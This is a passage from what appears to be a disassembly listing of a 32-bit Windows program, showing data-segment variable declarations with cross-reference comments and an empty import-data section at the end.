; sub_4FE2E0+87Cw
dword_511840 dd 0 ; DATA XREF: sub_4FE2E0+888o
byte_511844 db 0 ; DATA XREF: sub_4FF166+69o
; sub_4FF166+7Fw ...
align 4
dd 20h dup(0)
dword_5118C8 dd 77FC5940h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_4FF252+25o
; sub_4FF61Fo ...
dword_5118E0 dd 9C0538h ; DATA XREF: sub_4FFECD+25r
; sub_4FFECD+5Dr ...
dword_5118E4 dd 9C00A8h ; DATA XREF: sub_4FF036+50r
; sub_4FF036+8Er ...
dword_5118E8 dd 9C02F0h ; DATA XREF: sub_4FF94C:loc_4FFA1Er
; sub_4FF94C+10Br ...
dword_5118EC dd 9C0780h ; DATA XREF: sub_4FF63E+7Er
; sub_4FF6DE+25r ...
dword_5118F0 dd 0 ; DATA XREF: sub_502D50+8r
; sub_502D50+19r
dword_5118F4 dd 0 ; DATA XREF: sub_502D50+10r
dword_5118F8 dd 980048h ; DATA XREF: _5:00500A28r _5:00500AFFr ...
dword_5118FC dd 990090h ; DATA XREF: sub_502DD0+660w
; _7:off_510B80o
dword_511900 dd 9A0098h ; DATA XREF: sub_502DD0+67Ew
; _7:00510B98o
dword_511904 dd 9B00A0h ; DATA XREF: sub_502DD0+69Dw
; _7:00510BB0o
dword_511908 dd 942518h ; DATA XREF: sub_4FF252+34r
; sub_4FF252+5Er ...
dword_51190C dd 943140h ; DATA XREF: sub_502DD0+227w
; sub_502DD0+235r ...
dword_511910 dd 4000E0h ; DATA XREF: sub_503610+D8w
; sub_503610+DEr ...
dword_511914 dd 0 ; DATA XREF: sub_504D70+4r
; sub_504D70+Cw ...
dword_511918 dd 2 dup(0) ; DATA XREF: sub_4FC271+DDo
; sub_50AD0C+37o
dword_511920 dd 0 ; DATA XREF: sub_507333+11r
; sub_507494+22w ...
align 8
dword_511928 dd 0 ; DATA XREF: sub_505BD7+3ABw
; sub_505BD7+3DBw ...
align 10h
dword_511930 dd 77FC5880h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_4FD2E0+3B3o
; sub_5061E1+73o ...
dword_511948 dd 0 ; DATA XREF: sub_507333+24w
; sub_507333+29r ...
dword_51194C dd 9423B8h ; DATA XREF: sub_505BD7+22Ar
; sub_505FCD+12r ...
dword_511950 dd 942478h ; DATA XREF: sub_509DD4+F6w
dword_511954 dd 942418h ; DATA XREF: sub_5058CF+1Ar
; sub_505BD7:loc_505D97r ...
dword_511958 dd 0 ; DATA XREF: sub_5061E1+D0Dw
; sub_5071C3+5Fr
dword_51195C dd 0 ; DATA XREF: sub_5058A0+3r
; sub_5058A0+1Dw ...
dword_511960 dd 0 ; DATA XREF: sub_505BD7+3B5r
; sub_505BD7+3C6w ...
dword_511964 dd 0 ; DATA XREF: sub_5061E1+82r
; sub_5061E1+E3r ...
dword_511968 dd 0 ; DATA XREF: sub_5061E1+105r
; sub_5061E1+10Bw ...
dword_51196C dd 0 ; DATA XREF: sub_50613C+5r
; sub_50614D+Ar ...
dword_511970 dd 0 ; DATA XREF: sub_507333+9Br
; sub_507494+9Ew ...
dword_511974 dd 0 ; DATA XREF: sub_507333+A8r
; sub_507494+CCw ...
dword_511978 dd 0 ; DATA XREF: sub_507333+BAr
; sub_507494+FAw ...
dword_51197C dd 0 ; DATA XREF: sub_507333+D4r
; sub_507494+128w ...
dword_511980 dd 0 ; DATA XREF: sub_507333+F0r
; sub_507333+10Cr ...
dword_511984 dd 0 ; DATA XREF: sub_507333+11Er
; sub_507333+135r ...
dword_511988 dd 0 ; DATA XREF: sub_507333+3Fr
; sub_507494+1B2w ...
dword_51198C dd 0 ; DATA XREF: sub_507333+5Dr
; sub_507494+1E0w ...
dword_511990 dd 0 ; DATA XREF: sub_507333+13Dr
; sub_507494+20Ew ...
dword_511994 dd 0 ; DATA XREF: sub_507333+1Er
; sub_507494+23Cw ...
dword_511998 dd 0 ; DATA XREF: sub_507333+C2r
; sub_507333+FFr ...
dword_51199C dd 0 ; DATA XREF: sub_507333+6Br
; sub_507494+298w ...
dword_5119A0 dd 20h dup(0) ; DATA XREF: sub_507333+CFo
; sub_507494+45o ...
dword_511A20 dd 0 ; DATA XREF: sub_508892+27w
; sub_508892+32r
align 8
dword_511A28 dd 77FC5860h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_4FD2E0+3A8o
; sub_50848C+6o ...
byte_511A40 db 0 ; DATA XREF: sub_508892+7r
; sub_508892+15r ...
align 4
dword_511A44 dd 940000h ; DATA XREF: sub_508397+4r
; sub_508397+22w ...
dword_511A48 dd 62Bh dup(0) ; DATA XREF: sub_50848C+11o
; sub_5084F7+5o
dword_5132F4 dd 894h dup(0) ; CODE XREF: _6:0050E2F8j
db 0
byte_515545 db 3 dup(0) ; DATA XREF: _2:0045469Co
dd 140h dup(0)
dword_515A48 dd 0 ; DATA XREF: sub_508892+7Cr
; sub_508892+82w ...
align 10h
dword_515A50 dd 0 ; DATA XREF: sub_4FC15E+25r
; sub_4FC15E+4Ar ...
dword_515A54 dd 0 ; DATA XREF: sub_4FC216+23r
; sub_4FC216+2Br ...
dword_515A58 dd 2 dup(0) ; DATA XREF: sub_4FC3F3+32o
dword_515A60 dd 0 ; DATA XREF: sub_4FC271+2Cw
; sub_4FC271+57o
align 8
dword_515A68 dd 0 ; DATA XREF: sub_4FC271+36w
dd 2 dup(0)
dword_515A74 dd 0 ; DATA XREF: sub_4FC271+52w
dd 4 dup(0)
dword_515A88 dd 0 ; DATA XREF: sub_4FC271+40w
align 10h
dword_515A90 dd 0ECh dup(0) ; DATA XREF: sub_508EF3+28o
; sub_508EF3+42o ...
byte_515E40 db 0 ; DATA XREF: sub_5090EF+71w
; sub_5090EF+8Fr
byte_515E41 db 0 ; DATA XREF: sub_5090EF+7Bw
byte_515E42 db 0 ; DATA XREF: sub_5090EF+85w
align 4
dd 13h dup(0)
dword_515E90 dd 42h dup(0) ; DATA XREF: sub_5090EF+Bo
; sub_5090EF+17o ...
dword_515F98 dd 40h dup(0) ; DATA XREF: sub_509638+ABo
; sub_50971C+5Do
dword_516098 dd 77FC5A00h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_509638+25o
; sub_509696o ...
dword_5160B0 dd 0 ; DATA XREF: sub_509638+34r
; sub_509638+4Ew ...
align 8
dword_5160B8 dd 77FC59E0h, 0 ; DATA XREF: sub_509DD4+6o
; sub_50A0C8+25o
dd 1, 0DCh, 2 dup(0)
byte_5160D0 db 1 ; DATA XREF: sub_509C54:loc_509C64r
; sub_50A0C8+30w
align 4
dword_5160D4 dd 942110h ; DATA XREF: sub_5053D0+Dr
; sub_5053D0+26r ...
dword_5160D8 dd 942358h ; DATA XREF: sub_5050D0+264r
; sub_509DD4+72w ...
dword_5160DC dd 0 ; DATA XREF: sub_4FD2E0+3FDw
dword_5160E0 dd 0 ; DATA XREF: sub_50B677+2Fw
; sub_50B677+47r
byte_5160E4 db 0 ; DATA XREF: sub_50B677+4r
; sub_50B677+12r ...
align 4
dword_5160E8 dd 0 ; DATA XREF: sub_4FCA80+28r
; sub_4FCA80+4Cw ...
dd 2 dup(0)
dword_5160F4 dd 0 ; DATA XREF: sub_4FC86E+4r
; sub_4FC86E+9Dr ...
dd 3 dup(0)
dword_516104 dd 0 ; DATA XREF: sub_4FCA80+C0r
; sub_4FCDBF+A6r
dd 0
dword_51610C dd 0 ; DATA XREF: sub_4FCDBF+26r
; sub_4FCDBF:loc_4FCE29w
_7 ends
; Section 9. (virtual address 00117000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00116200
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 517000h
align 2000h
_idata2 ends
end start